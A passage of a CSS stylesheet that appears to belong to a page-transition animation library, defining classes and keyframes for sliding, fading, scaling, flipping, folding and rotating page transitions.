animation: moveFromTopFade .7s ease both;
}
.pt-page-moveToBottomFade {
-webkit-animation: moveToBottomFade .7s ease both;
animation: moveToBottomFade .7s ease both;
}
.pt-page-moveFromBottomFade {
-webkit-animation: moveFromBottomFade .7s ease both;
animation: moveFromBottomFade .7s ease both;
}
/* move to with different easing */
.pt-page-moveToLeftEasing {
-webkit-animation: moveToLeft .7s ease-in-out both;
animation: moveToLeft .7s ease-in-out both;
}
.pt-page-moveToRightEasing {
-webkit-animation: moveToRight .7s ease-in-out both;
animation: moveToRight .7s ease-in-out both;
}
.pt-page-moveToTopEasing {
-webkit-animation: moveToTop .7s ease-in-out both;
animation: moveToTop .7s ease-in-out both;
}
.pt-page-moveToBottomEasing {
-webkit-animation: moveToBottom .7s ease-in-out both;
animation: moveToBottom .7s ease-in-out both;
}
/********************************* keyframes **************************************/
/* move from / to */
@-webkit-keyframes moveToLeft {
from { }
to { -webkit-transform: translateX(-100%); }
}
@keyframes moveToLeft {
from { }
to { -webkit-transform: translateX(-100%); transform: translateX(-100%); }
}
@-webkit-keyframes moveFromLeft {
from { -webkit-transform: translateX(-100%); }
}
@keyframes moveFromLeft {
from { -webkit-transform: translateX(-100%); transform: translateX(-100%); }
}
@-webkit-keyframes moveToRight {
from { }
to { -webkit-transform: translateX(100%); }
}
@keyframes moveToRight {
from { }
to { -webkit-transform: translateX(100%); transform: translateX(100%); }
}
@-webkit-keyframes moveFromRight {
from { -webkit-transform: translateX(100%); }
}
@keyframes moveFromRight {
from { -webkit-transform: translateX(100%); transform: translateX(100%); }
}
@-webkit-keyframes moveToTop {
from { }
to { -webkit-transform: translateY(-100%); }
}
@keyframes moveToTop {
from { }
to { -webkit-transform: translateY(-100%); transform: translateY(-100%); }
}
@-webkit-keyframes moveFromTop {
from { -webkit-transform: translateY(-100%); }
}
@keyframes moveFromTop {
from { -webkit-transform: translateY(-100%); transform: translateY(-100%); }
}
@-webkit-keyframes moveToBottom {
from { }
to { -webkit-transform: translateY(100%); }
}
@keyframes moveToBottom {
from { }
to { -webkit-transform: translateY(100%); transform: translateY(100%); }
}
@-webkit-keyframes moveFromBottom {
from { -webkit-transform: translateY(100%); }
}
@keyframes moveFromBottom {
from { -webkit-transform: translateY(100%); transform: translateY(100%); }
}
/* fade */
@-webkit-keyframes fade {
from { }
to { opacity: 0.3; }
}
@keyframes fade {
from { }
to { opacity: 0.3; }
}
/* move from / to and fade */
@-webkit-keyframes moveToLeftFade {
from { }
to { opacity: 0.3; -webkit-transform: translateX(-100%); }
}
@keyframes moveToLeftFade {
from { }
to { opacity: 0.3; -webkit-transform: translateX(-100%); transform: translateX(-100%); }
}
@-webkit-keyframes moveFromLeftFade {
from { opacity: 0.3; -webkit-transform: translateX(-100%); }
}
@keyframes moveFromLeftFade {
from { opacity: 0.3; -webkit-transform: translateX(-100%); transform: translateX(-100%); }
}
@-webkit-keyframes moveToRightFade {
from { }
to { opacity: 0.3; -webkit-transform: translateX(100%); }
}
@keyframes moveToRightFade {
from { }
to { opacity: 0.3; -webkit-transform: translateX(100%); transform: translateX(100%); }
}
@-webkit-keyframes moveFromRightFade {
from { opacity: 0.3; -webkit-transform: translateX(100%); }
}
@keyframes moveFromRightFade {
from { opacity: 0.3; -webkit-transform: translateX(100%); transform: translateX(100%); }
}
@-webkit-keyframes moveToTopFade {
from { }
to { opacity: 0.3; -webkit-transform: translateY(-100%); }
}
@keyframes moveToTopFade {
from { }
to { opacity: 0.3; -webkit-transform: translateY(-100%); transform: translateY(-100%); }
}
@-webkit-keyframes moveFromTopFade {
from { opacity: 0.3; -webkit-transform: translateY(-100%); }
}
@keyframes moveFromTopFade {
from { opacity: 0.3; -webkit-transform: translateY(-100%); transform: translateY(-100%); }
}
@-webkit-keyframes moveToBottomFade {
from { }
to { opacity: 0.3; -webkit-transform: translateY(100%); }
}
@keyframes moveToBottomFade {
from { }
to { opacity: 0.3; -webkit-transform: translateY(100%); transform: translateY(100%); }
}
@-webkit-keyframes moveFromBottomFade {
from { opacity: 0.3; -webkit-transform: translateY(100%); }
}
@keyframes moveFromBottomFade {
from { opacity: 0.3; -webkit-transform: translateY(100%); transform: translateY(100%); }
}
/* scale and fade */
.pt-page-scaleDown {
-webkit-animation: scaleDown .7s ease both;
animation: scaleDown .7s ease both;
}
.pt-page-scaleUp {
-webkit-animation: scaleUp .7s ease both;
animation: scaleUp .7s ease both;
}
.pt-page-scaleUpDown {
-webkit-animation: scaleUpDown .5s ease both;
animation: scaleUpDown .5s ease both;
}
.pt-page-scaleDownUp {
-webkit-animation: scaleDownUp .5s ease both;
animation: scaleDownUp .5s ease both;
}
.pt-page-scaleDownCenter {
-webkit-animation: scaleDownCenter .4s ease-in both;
animation: scaleDownCenter .4s ease-in both;
}
.pt-page-scaleUpCenter {
-webkit-animation: scaleUpCenter .4s ease-out both;
animation: scaleUpCenter .4s ease-out both;
}
/********************************* keyframes **************************************/
/* scale and fade */
@-webkit-keyframes scaleDown {
from { }
to { opacity: 0; -webkit-transform: scale(.8); }
}
@keyframes scaleDown {
from { }
to { opacity: 0; -webkit-transform: scale(.8); transform: scale(.8); }
}
@-webkit-keyframes scaleUp {
from { opacity: 0; -webkit-transform: scale(.8); }
}
@keyframes scaleUp {
from { opacity: 0; -webkit-transform: scale(.8); transform: scale(.8); }
}
@-webkit-keyframes scaleUpDown {
from { opacity: 0; -webkit-transform: scale(1.2); }
}
@keyframes scaleUpDown {
from { opacity: 0; -webkit-transform: scale(1.2); transform: scale(1.2); }
}
@-webkit-keyframes scaleDownUp {
from { }
to { opacity: 0; -webkit-transform: scale(1.2); }
}
@keyframes scaleDownUp {
from { }
to { opacity: 0; -webkit-transform: scale(1.2); transform: scale(1.2); }
}
@-webkit-keyframes scaleDownCenter {
from { }
to { opacity: 0; -webkit-transform: scale(.7); }
}
@keyframes scaleDownCenter {
from { }
to { opacity: 0; -webkit-transform: scale(.7); transform: scale(.7); }
}
@-webkit-keyframes scaleUpCenter {
from { opacity: 0; -webkit-transform: scale(.7); }
}
@keyframes scaleUpCenter {
from { opacity: 0; -webkit-transform: scale(.7); transform: scale(.7); }
}
/* rotate sides first and scale */
.pt-page-rotateRightSideFirst {
-webkit-transform-origin: 0% 50%;
transform-origin: 0% 50%;
-webkit-animation: rotateRightSideFirst .8s both ease-in;
animation: rotateRightSideFirst .8s both ease-in;
}
.pt-page-rotateLeftSideFirst {
-webkit-transform-origin: 100% 50%;
transform-origin: 100% 50%;
-webkit-animation: rotateLeftSideFirst .8s both ease-in;
animation: rotateLeftSideFirst .8s both ease-in;
}
.pt-page-rotateTopSideFirst {
-webkit-transform-origin: 50% 100%;
transform-origin: 50% 100%;
-webkit-animation: rotateTopSideFirst .8s both ease-in;
animation: rotateTopSideFirst .8s both ease-in;
}
.pt-page-rotateBottomSideFirst {
-webkit-transform-origin: 50% 0%;
transform-origin: 50% 0%;
-webkit-animation: rotateBottomSideFirst .8s both ease-in;
animation: rotateBottomSideFirst .8s both ease-in;
}
/* flip */
.pt-page-flipOutRight {
-webkit-transform-origin: 50% 50%;
transform-origin: 50% 50%;
-webkit-animation: flipOutRight .5s both ease-in;
animation: flipOutRight .5s both ease-in;
}
.pt-page-flipInLeft {
-webkit-transform-origin: 50% 50%;
transform-origin: 50% 50%;
-webkit-animation: flipInLeft .5s both ease-out;
animation: flipInLeft .5s both ease-out;
}
.pt-page-flipOutLeft {
-webkit-transform-origin: 50% 50%;
transform-origin: 50% 50%;
-webkit-animation: flipOutLeft .5s both ease-in;
animation: flipOutLeft .5s both ease-in;
}
.pt-page-flipInRight {
-webkit-transform-origin: 50% 50%;
transform-origin: 50% 50%;
-webkit-animation: flipInRight .5s both ease-out;
animation: flipInRight .5s both ease-out;
}
.pt-page-flipOutTop {
-webkit-transform-origin: 50% 50%;
transform-origin: 50% 50%;
-webkit-animation: flipOutTop .5s both ease-in;
animation: flipOutTop .5s both ease-in;
}
.pt-page-flipInBottom {
-webkit-transform-origin: 50% 50%;
transform-origin: 50% 50%;
-webkit-animation: flipInBottom .5s both ease-out;
animation: flipInBottom .5s both ease-out;
}
.pt-page-flipOutBottom {
-webkit-transform-origin: 50% 50%;
transform-origin: 50% 50%;
-webkit-animation: flipOutBottom .5s both ease-in;
animation: flipOutBottom .5s both ease-in;
}
.pt-page-flipInTop {
-webkit-transform-origin: 50% 50%;
transform-origin: 50% 50%;
-webkit-animation: flipInTop .5s both ease-out;
animation: flipInTop .5s both ease-out;
}
/* rotate fall */
.pt-page-rotateFall {
-webkit-transform-origin: 0% 0%;
transform-origin: 0% 0%;
-webkit-animation: rotateFall 1s both ease-in;
animation: rotateFall 1s both ease-in;
}
/* rotate newspaper */
.pt-page-rotateOutNewspaper {
-webkit-transform-origin: 50% 50%;
transform-origin: 50% 50%;
-webkit-animation: rotateOutNewspaper .5s both ease-in;
animation: rotateOutNewspaper .5s both ease-in;
}
.pt-page-rotateInNewspaper {
-webkit-transform-origin: 50% 50%;
transform-origin: 50% 50%;
-webkit-animation: rotateInNewspaper .5s both ease-out;
animation: rotateInNewspaper .5s both ease-out;
}
/* push */
.pt-page-rotatePushLeft {
-webkit-transform-origin: 0% 50%;
transform-origin: 0% 50%;
-webkit-animation: rotatePushLeft .8s both ease;
animation: rotatePushLeft .8s both ease;
}
.pt-page-rotatePushRight {
-webkit-transform-origin: 100% 50%;
transform-origin: 100% 50%;
-webkit-animation: rotatePushRight .8s both ease;
animation: rotatePushRight .8s both ease;
}
.pt-page-rotatePushTop {
-webkit-transform-origin: 50% 0%;
transform-origin: 50% 0%;
-webkit-animation: rotatePushTop .8s both ease;
animation: rotatePushTop .8s both ease;
}
.pt-page-rotatePushBottom {
-webkit-transform-origin: 50% 100%;
transform-origin: 50% 100%;
-webkit-animation: rotatePushBottom .8s both ease;
animation: rotatePushBottom .8s both ease;
}
/* pull */
.pt-page-rotatePullRight {
-webkit-transform-origin: 100% 50%;
transform-origin: 100% 50%;
-webkit-animation: rotatePullRight .5s both ease;
animation: rotatePullRight .5s both ease;
}
.pt-page-rotatePullLeft {
-webkit-transform-origin: 0% 50%;
transform-origin: 0% 50%;
-webkit-animation: rotatePullLeft .5s both ease;
animation: rotatePullLeft .5s both ease;
}
.pt-page-rotatePullTop {
-webkit-transform-origin: 50% 0%;
transform-origin: 50% 0%;
-webkit-animation: rotatePullTop .5s both ease;
animation: rotatePullTop .5s both ease;
}
.pt-page-rotatePullBottom {
-webkit-transform-origin: 50% 100%;
transform-origin: 50% 100%;
-webkit-animation: rotatePullBottom .5s both ease;
animation: rotatePullBottom .5s both ease;
}
/* fold */
.pt-page-rotateFoldRight {
-webkit-transform-origin: 0% 50%;
transform-origin: 0% 50%;
-webkit-animation: rotateFoldRight .7s both ease;
animation: rotateFoldRight .7s both ease;
}
.pt-page-rotateFoldLeft {
-webkit-transform-origin: 100% 50%;
transform-origin: 100% 50%;
-webkit-animation: rotateFoldLeft .7s both ease;
animation: rotateFoldLeft .7s both ease;
}
.pt-page-rotateFoldTop {
-webkit-transform-origin: 50% 100%;
transform-origin: 50% 100%;
-webkit-animation: rotateFoldTop .7s both ease;
animation: rotateFoldTop .7s both ease;
}
.pt-page-rotateFoldBottom {
-webkit-transform-origin: 50% 0%;
transform-origin: 50% 0%;
-webkit-animation: rotateFoldBottom .7s both ease;
animation: rotateFoldBottom .7s both ease;
}
/* unfold */
.pt-page-rotateUnfoldLeft {
-webkit-transform-origin: 100% 50%;
transform-origin: 100% 50%;
-webkit-animation: rotateUnfoldLeft .7s both ease;
animation: rotateUnfoldLeft .7s both ease;
}
.pt-page-rotateUnfoldRight {
-webkit-transform-origin: 0% 50%;
transform-origin: 0% 50%;
-webkit-animation: rotateUnfoldRight .7s both ease;
animation: rotateUnfoldRight .7s both ease;
}
.pt-page-rotateUnfoldTop {
-webkit-transform-origin: 50% 100%;
transform-origin: 50% 100%;
-webkit-animation: rotateUnfoldTop .7s both ease;
animation: rotateUnfoldTop .7s both ease;
}
.pt-page-rotateUnfoldBottom {
-webkit-transform-origin: 50% 0%;
transform-origin: 50% 0%;
-webkit-animation: rotateUnfoldBottom .7s both ease;
animation: rotateUnfoldBottom .7s both ease;
}
/* room walls */
.pt-page-rotateRoomLeftOut {
-webkit-transform-origin: 100% 50%;
transform-origin: 100% 50%;
-webkit-animation: rotateRoomLeftOut .8s both ease;
animation: rotateRoomLeftOut .8s both ease;
}
.pt-page-rotateRoomLeftIn {
-webkit-transform-origin: 0% 50%;
transform-origin: 0% 50%;
-webkit-animation: rotateRoomLeftIn .8s both ease;
animation: rotateRoomLeftIn .8s both ease;
}
.pt-page-rotateRoomRightOut {
-webkit-transform-origin: 0% 50%;
transform-origin: 0% 50%;
-webkit-animation: rotateRoomRightOut .8s both ease;
animation: rotateRoomRightOut .8s both ease;
}
.pt-page-rotateRoomRightIn {
-webkit-transform-origin: 100% 50%;
transform-origin: 100% 50%;
-webkit-animation: rotateRoomRightIn .8s both ease;
animation: rotateRoomRightIn .8s both ease;
}
.pt-page-rotateRoomTopOut {
-webkit-transform-origin: 50% 100%;
transform-origin: 50% 100%;
-webkit-animation: rotateRoomTopOut .8s both ease;
animation: rotateRoomTopOut .8s both ease;
}
.pt-page-rotateRoomTopIn {
-webkit-transform-origin: 50% 0%;
transform-origin: 50% 0%;
-webkit-animation: rotateRoomTopIn .8s both ease;
animation: rotateRoomTopIn .8s both ease;
}
.pt-page-rotateRoomBottomOut {
-webkit-transform-origin: 50% 0%;
transform-origin: 50% 0%;
-webkit-animation: rotateRoomBottomOut .8s both ease;
animation: rotateRoomBottomOut .8s both ease;
}
.pt-page-rotateRoomBottomIn {
-webkit-transform-origin: 50% 100%;
transform-origin: 50% 100%;
-webkit-animation: rotateRoomBottomIn .8s both ease;
animation: rotateRoomBottomIn .8s both ease;
}
/* cube */
.pt-page-rotateCubeLeftOut {
-webkit-transform-origin: 100% 50%;
transform-origin: 100% 50%;
-webkit-animation: rotateCubeLeftOut .6s both ease-in;
animation: rotateCubeLeftOut .6s both ease-in;
}
.pt-page-rotateCubeLeftIn {
-webkit-transform-origin: 0% 50%;
transform-origin: 0% 50%;
-webkit-animation: rotateCubeLeftIn .6s both ease-in;
animation: rotateCubeLeftIn .6s both ease-in;
}
.pt-page-rotateCubeRightOut {
-webkit-transform-origin: 0% 50%;
transform-origin: 0% 50%;
-webkit-animation: rotateCubeRightOut .6s both ease-in;
animation: rotateCubeRightOut .6s both ease-in;
}
.pt-page-rotateCubeRightIn {
-webkit-transform-origin: 100% 50%;
transform-origin: 100% 50%;
-webkit-animation: rotateCubeRightIn .6s both ease-in;
animation: rotateCubeRightIn .6s both ease-in;
}
.pt-page-rotateCubeTopOut {
-webkit-transform-origin: 50% 100%;
transform-origin: 50% 100%;
-webkit-animation: rotateCubeTopOut .6s both ease-in;
animation: rotateCubeTopOut .6s both ease-in;
}
.pt-page-rotateCubeTopIn {
-webkit-transform-origin: 50% 0%;
transform-origin: 50% 0%;
-webkit-animation: rotateCubeTopIn .6s both ease-in;
animation: rotateCubeTopIn .6s both ease-in;
}
.pt-page-rotateCubeBottomOut {
-webkit-transform-origin: 50% 0%;
transform-origin: 50% 0%;
-webkit-animation: rotateCubeBottomOut .6s both ease-in;
animation: rotateCubeBottomOut .6s both ease-in;
}
.pt-page-rotateCubeBottomIn {
-webkit-transform-origin: 50% 100%;
transform-origin: 50% 100%;
-webkit-animation: rotateCubeBottomIn .6s both ease-in;
animation: rotateCubeBottomIn .6s both ease-in;
}
/* carousel */
.pt-page-rotateCarouselLeftOut {
-webkit-transform-origin: 100% 50%;
transform-origin: 100% 50%;
-webkit-animation: rotateCarouselLeftOut .8s both ease;
animation: rotateCarouselLeftOut .8s both ease;
}
.pt-page-rotateCarouselLeftIn {
-webkit-transform-origin: 0% 50%;
transform-origin: 0% 50%;
-webkit-animation: rotateCarouselLeftIn .8s both ease;
animation: rotateCarouselLeftIn .8s both ease;
}
.pt-page-rotateCarouselRightOut {
-webkit-transform-origin: 0% 50%;
transform-origin: 0% 50%;
-webkit-animation: rotateCarouselRightOut .8s both ease;
animation: rotateCarouselRightOut .8s both ease;
}
.pt-page-rotateCarouselRightIn {
-webkit-transform-origin: 100% 50%;
transform-origin: 100% 50%;
-webkit-animation: rotateCarouselRightIn .8s both ease;
animation: rotateCarouselRightIn .8s both ease;
}
.pt-page-rotateCarouselTopOut {
-webkit-transform-origin: 50% 100%;
transform-origin: 50% 100%;
-webkit-animation: rotateCarouselTopOut .8s both ease;
animation: rotateCarouselTopOut .8s both ease;
}
.pt-page-rotateCarouselTopIn {
-webkit-transform-origin: 50% 0%;
transform-origin: 50% 0%;
-webkit-animation: rotateCarouselTopIn .8s both ease;
animation: rotateCarouselTopIn .8s both ease;
}
.pt-page-rotateCarouselBottomOut {
-webkit-transform-origin: 50% 0%;
transform-origin: 50% 0%;
-webkit-animation: rotateCarouselBottomOut .8s both ease;
animation: rotateCarouselBottomOut .8s both ease;
}
.pt-page-rotateCarouselBottomIn {
-webkit-transform-origin: 50% 100%;
transform-origin: 50% 100%;
-webkit-animation: rotateCarouselBottomIn .8s both ease;
animation: rotateCarouselBottomIn .8s both ease;
}
/* sides */
.pt-page-rotateSidesOut {
-webkit-transform-origin: -50% 50%;
transform-origin: -50% 50%;
-webkit-animation: rotateSidesOut .5s both ease-in;
animation: rotateSidesOut .5s both ease-in;
}
.pt-page-rotateSidesIn {
-webkit-transform-origin: 150% 50%;
transform-origin: 150% 50%;
-webkit-animation: rotateSidesIn .5s both ease-out;
animation: rotateSidesIn .5s both ease-out;
}
/* slide */
.pt-page-rotateSlideOut {
-webkit-animation: rotateSlideOut 1s both ease;
animation: rotateSlideOut 1s both ease;
}
.pt-page-rotateSlideIn {
-webkit-animation: rotateSlideIn 1s both ease;
animation: rotateSlideIn 1s both ease;
}
/********************************* keyframes **************************************/
/* rotate sides first and scale */
@-webkit-keyframes rotateRightSideFirst {
0% { }
40% { -webkit-transform: rotateY(15deg); opacity: .8; -webkit-animation-timing-function: ease-out; }
100% { -webkit-transform: scale(0.8) translateZ(-200px); opacity:0; }
}
@keyframes rotateRightSideFirst {
0% { }
40% { -webkit-transform: rotateY(15deg); transform: rotateY(15deg); opacity: .8; -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; }
100% { -webkit-transform: scale(0.8) translateZ(-200px); transform: scale(0.8) translateZ(-200px); opacity:0; }
}
@-webkit-keyframes rotateLeftSideFirst {
0% { }
40% { -webkit-transform: rotateY(-15deg); opacity: .8; -webkit-animation-timing-function: ease-out; }
100% { -webkit-transform: scale(0.8) translateZ(-200px); opacity:0; }
}
@keyframes rotateLeftSideFirst {
0% { }
40% { -webkit-transform: rotateY(-15deg); transform: rotateY(-15deg); opacity: .8; -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; }
100% { -webkit-transform: scale(0.8) translateZ(-200px); transform: scale(0.8) translateZ(-200px); opacity:0; }
}
@-webkit-keyframes rotateTopSideFirst {
0% { }
40% { -webkit-transform: rotateX(15deg); opacity: .8; -webkit-animation-timing-function: ease-out; }
100% { -webkit-transform: scale(0.8) translateZ(-200px); opacity:0; }
}
@keyframes rotateTopSideFirst {
0% { }
40% { -webkit-transform: rotateX(15deg); transform: rotateX(15deg); opacity: .8; -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; }
100% { -webkit-transform: scale(0.8) translateZ(-200px); transform: scale(0.8) translateZ(-200px); opacity:0; }
}
@-webkit-keyframes rotateBottomSideFirst {
0% { }
40% { -webkit-transform: rotateX(-15deg); opacity: .8; -webkit-animation-timing-function: ease-out; }
100% { -webkit-transform: scale(0.8) translateZ(-200px); opacity:0; }
}
@keyframes rotateBottomSideFirst {
0% { }
40% { -webkit-transform: rotateX(-15deg); transform: rotateX(-15deg); opacity: .8; -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; }
100% { -webkit-transform: scale(0.8) translateZ(-200px); transform: scale(0.8) translateZ(-200px); opacity:0; }
}
/* flip */
@-webkit-keyframes flipOutRight {
from { }
to { -webkit-transform: translateZ(-1000px) rotateY(90deg); opacity: 0.2; }
}
@keyframes flipOutRight {
from { }
to { -webkit-transform: translateZ(-1000px) rotateY(90deg); transform: translateZ(-1000px) rotateY(90deg); opacity: 0.2; }
}
@-webkit-keyframes flipInLeft {
from { -webkit-transform: translateZ(-1000px) rotateY(-90deg); opacity: 0.2; }
}
@keyframes flipInLeft {
from { -webkit-transform: translateZ(-1000px) rotateY(-90deg); transform: translateZ(-1000px) rotateY(-90deg); opacity: 0.2; }
}
@-webkit-keyframes flipOutLeft {
from { }
to { -webkit-transform: translateZ(-1000px) rotateY(-90deg); opacity: 0.2; }
}
@keyframes flipOutLeft {
from { }
to { -webkit-transform: translateZ(-1000px) rotateY(-90deg); transform: translateZ(-1000px) rotateY(-90deg); opacity: 0.2; }
}
@-webkit-keyframes flipInRight {
from { -webkit-transform: translateZ(-1000px) rotateY(90deg); opacity: 0.2; }
}
@keyframes flipInRight {
from { -webkit-transform: translateZ(-1000px) rotateY(90deg); transform: translateZ(-1000px) rotateY(90deg); opacity: 0.2; }
}
@-webkit-keyframes flipOutTop {
from { }
to { -webkit-transform: translateZ(-1000px) rotateX(90deg); opacity: 0.2; }
}
@keyframes flipOutTop {
from { }
to { -webkit-transform: translateZ(-1000px) rotateX(90deg); transform: translateZ(-1000px) rotateX(90deg); opacity: 0.2; }
}
@-webkit-keyframes flipInBottom {
from { -webkit-transform: translateZ(-1000px) rotateX(-90deg); opacity: 0.2; }
}
@keyframes flipInBottom {
from { -webkit-transform: translateZ(-1000px) rotateX(-90deg); transform: translateZ(-1000px) rotateX(-90deg); opacity: 0.2; }
}
@-webkit-keyframes flipOutBottom {
from { }
to { -webkit-transform: translateZ(-1000px) rotateX(-90deg); opacity: 0.2; }
}
@keyframes flipOutBottom {
from { }
to { -webkit-transform: translateZ(-1000px) rotateX(-90deg); transform: translateZ(-1000px) rotateX(-90deg); opacity: 0.2; }
}
@-webkit-keyframes flipInTop {
from { -webkit-transform: translateZ(-1000px) rotateX(90deg); opacity: 0.2; }
}
@keyframes flipInTop {
from { -webkit-transform: translateZ(-1000px) rotateX(90deg); transform: translateZ(-1000px) rotateX(90deg); opacity: 0.2; }
}
/* fall */
@-webkit-keyframes rotateFall {
0% { -webkit-transform: rotateZ(0deg); }
20% { -webkit-transform: rotateZ(10deg); -webkit-animation-timing-function: ease-out; }
40% { -webkit-transform: rotateZ(17deg); }
60% { -webkit-transform: rotateZ(16deg); }
100% { -webkit-transform: translateY(100%) rotateZ(17deg); }
}
@keyframes rotateFall {
0% { -webkit-transform: rotateZ(0deg); transform: rotateZ(0deg); }
20% { -webkit-transform: rotateZ(10deg); transform: rotateZ(10deg); -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; }
40% { -webkit-transform: rotateZ(17deg); transform: rotateZ(17deg); }
60% { -webkit-transform: rotateZ(16deg); transform: rotateZ(16deg); }
100% { -webkit-transform: translateY(100%) rotateZ(17deg); transform: translateY(100%) rotateZ(17deg); }
}
/* newspaper */
@-webkit-keyframes rotateOutNewspaper {
from { }
to { -webkit-transform: translateZ(-3000px) rotateZ(360deg); opacity: 0; }
}
@keyframes rotateOutNewspaper {
from { }
to { -webkit-transform: translateZ(-3000px) rotateZ(360deg); transform: translateZ(-3000px) rotateZ(360deg); opacity: 0; }
}
@-webkit-keyframes rotateInNewspaper {
from { -webkit-transform: translateZ(-3000px) rotateZ(-360deg); opacity: 0; }
}
@keyframes rotateInNewspaper {
from { -webkit-transform: translateZ(-3000px) rotateZ(-360deg); transform: translateZ(-3000px) rotateZ(-360deg); opacity: 0; }
}
/* push */
@-webkit-keyframes rotatePushLeft {
from { }
to { opacity: 0; -webkit-transform: rotateY(90deg); }
}
@keyframes rotatePushLeft {
from { }
to { opacity: 0; -webkit-transform: rotateY(90deg); transform: rotateY(90deg); }
}
@-webkit-keyframes rotatePushRight {
from { }
to { opacity: 0; -webkit-transform: rotateY(-90deg); }
}
@keyframes rotatePushRight {
from { }
to { opacity: 0; -webkit-transform: rotateY(-90deg); transform: rotateY(-90deg); }
}
@-webkit-keyframes rotatePushTop {
from { }
to { opacity: 0; -webkit-transform: rotateX(-90deg); }
}
@keyframes rotatePushTop {
from { }
to { opacity: 0; -webkit-transform: rotateX(-90deg); transform: rotateX(-90deg); }
}
@-webkit-keyframes rotatePushBottom {
from { }
to { opacity: 0; -webkit-transform: rotateX(90deg); }
}
@keyframes rotatePushBottom {
from { }
to { opacity: 0; -webkit-transform: rotateX(90deg); transform: rotateX(90deg); }
}
/* pull */
@-webkit-keyframes rotatePullRight {
from { opacity: 0; -webkit-transform: rotateY(-90deg); }
}
@keyframes rotatePullRight {
from { opacity: 0; -webkit-transform: rotateY(-90deg); transform: rotateY(-90deg); }
}
@-webkit-keyframes rotatePullLeft {
from { opacity: 0; -webkit-transform: rotateY(90deg); }
}
@keyframes rotatePullLeft {
from { opacity: 0; -webkit-transform: rotateY(90deg); transform: rotateY(90deg); }
}
@-webkit-keyframes rotatePullTop {
from { opacity: 0; -webkit-transform: rotateX(-90deg); }
}
@keyframes rotatePullTop {
from { opacity: 0; -webkit-transform: rotateX(-90deg); transform: rotateX(-90deg); }
}
@-webkit-keyframes rotatePullBottom {
from { opacity: 0; -webkit-transform: rotateX(90deg); }
}
@keyframes rotatePullBottom {
from { opacity: 0; -webkit-transform: rotateX(90deg); transform: rotateX(90deg); }
}
/* fold */
@-webkit-keyframes rotateFoldRight {
from { }
to { opacity: 0; -webkit-transform: translateX(100%) rotateY(90deg); }
}
@keyframes rotateFoldRight {
from { }
to { opacity: 0; -webkit-transform: translateX(100%) rotateY(90deg); transform: translateX(100%) rotateY(90deg); }
}
@-webkit-keyframes rotateFoldLeft {
from { }
to { opacity: 0; -webkit-transform: translateX(-100%) rotateY(-90deg); }
}
@keyframes rotateFoldLeft {
from { }
to { opacity: 0; -webkit-transform: translateX(-100%) rotateY(-90deg); transform: translateX(-100%) rotateY(-90deg); }
}
@-webkit-keyframes rotateFoldTop {
from { }
to { opacity: 0; -webkit-transform: translateY(-100%) rotateX(90deg); }
}
@keyframes rotateFoldTop {
from { }
to { opacity: 0; -webkit-transform: translateY(-100%) rotateX(90deg); transform: translateY(-100%) rotateX(90deg); }
}
@-webkit-keyframes rotateFoldBottom {
from { }
to { opacity: 0; -webkit-transform: translateY(100%) rotateX(-90deg); }
}
@keyframes rotateFoldBottom {
from { }
to { opacity: 0; -webkit-transform: translateY(100%) rotateX(-90deg); transform: translateY(100%) rotateX(-90deg); }
}
/* unfold */
@-webkit-keyframes rotateUnfoldLeft {
from { opacity: 0; -webkit-transform: translateX(-100%) rotateY(-90deg); }
}
@keyframes rotateUnfoldLeft {
from { opacity: 0; -webkit-transform: translateX(-100%) rotateY(-90deg); transform: translateX(-100%) rotateY(-90deg); }
}
@-webkit-keyframes rotateUnfoldRight {
from { opacity: 0; -webkit-transform: translateX(100%) rotateY(90deg); }
}
@keyframes rotateUnfoldRight {
from { opacity: 0; -webkit-transform: translateX(100%) rotateY(90deg); transform: translateX(100%) rotateY(90deg); }
}
@-webkit-keyframes rotateUnfoldTop {
from { opacity: 0; -webkit-transform: translateY(-100%) rotateX(90deg); }
}
@keyframes rotateUnfoldTop {
from { opacity: 0; -webkit-transform: translateY(-100%) rotateX(90deg); transform: translateY(-100%) rotateX(90deg); }
}
@-webkit-keyframes rotateUnfoldBottom {
from { opacity: 0; -webkit-transform: translateY(100%) rotateX(-90deg); }
}
@keyframes rotateUnfoldBottom {
from { opacity: 0; -webkit-transform: translateY(100%) rotateX(-90deg); transform: translateY(100%) rotateX(-90deg); }
}
/* room walls */
@-webkit-keyframes rotateRoomLeftOut {
from { }
to { opacity: .3; -webkit-transform: translateX(-100%) rotateY(90deg); }
}
@keyframes rotateRoomLeftOut {
from { }
to { opacity: .3; -webkit-transform: translateX(-100%) rotateY(90deg); transform: translateX(-100%) rotateY(90deg); }
}
@-webkit-keyframes rotateRoomLeftIn {
from { opacity: .3; -webkit-transform: translateX(100%) rotateY(-90deg); }
}
@keyframes rotateRoomLeftIn {
from { opacity: .3; -webkit-transform: translateX(100%) rotateY(-90deg); transform: translateX(100%) rotateY(-90deg); }
}
@-webkit-keyframes rotateRoomRightOut {
from { }
to { opacity: .3; -webkit-transform: translateX(100%) rotateY(-90deg); }
}
@keyframes rotateRoomRightOut {
from { }
to { opacity: .3; -webkit-transform: translateX(100%) rotateY(-90deg); transform: translateX(100%) rotateY(-90deg); }
}
@-webkit-keyframes rotateRoomRightIn {
from { opacity: .3; -webkit-transform: translateX(-100%) rotateY(90deg); }
}
@keyframes rotateRoomRightIn {
from { opacity: .3; -webkit-transform: translateX(-100%) rotateY(90deg); transform: translateX(-100%) rotateY(90deg); }
}
@-webkit-keyframes rotateRoomTopOut {
from { }
to { opacity: .3; -webkit-transform: translateY(-100%) rotateX(-90deg); }
}
@keyframes rotateRoomTopOut {
from { }
to { opacity: .3; -webkit-transform: translateY(-100%) rotateX(-90deg); transform: translateY(-100%) rotateX(-90deg); }
}
@-webkit-keyframes rotateRoomTopIn {
from { opacity: .3; -webkit-transform: translateY(100%) rotateX(90deg); }
}
@keyframes rotateRoomTopIn {
from { opacity: .3; -webkit-transform: translateY(100%) rotateX(90deg); transform: translateY(100%) rotateX(90deg); }
}
@-webkit-keyframes rotateRoomBottomOut {
from { }
to { opacity: .3; -webkit-transform: translateY(100%) rotateX(90deg); }
}
@keyframes rotateRoomBottomOut {
from { }
to { opacity: .3; -webkit-transform: translateY(100%) rotateX(90deg); transform: translateY(100%) rotateX(90deg); }
}
@-webkit-keyframes rotateRoomBottomIn {
from { opacity: .3; -webkit-transform: translateY(-100%) rotateX(-90deg); }
}
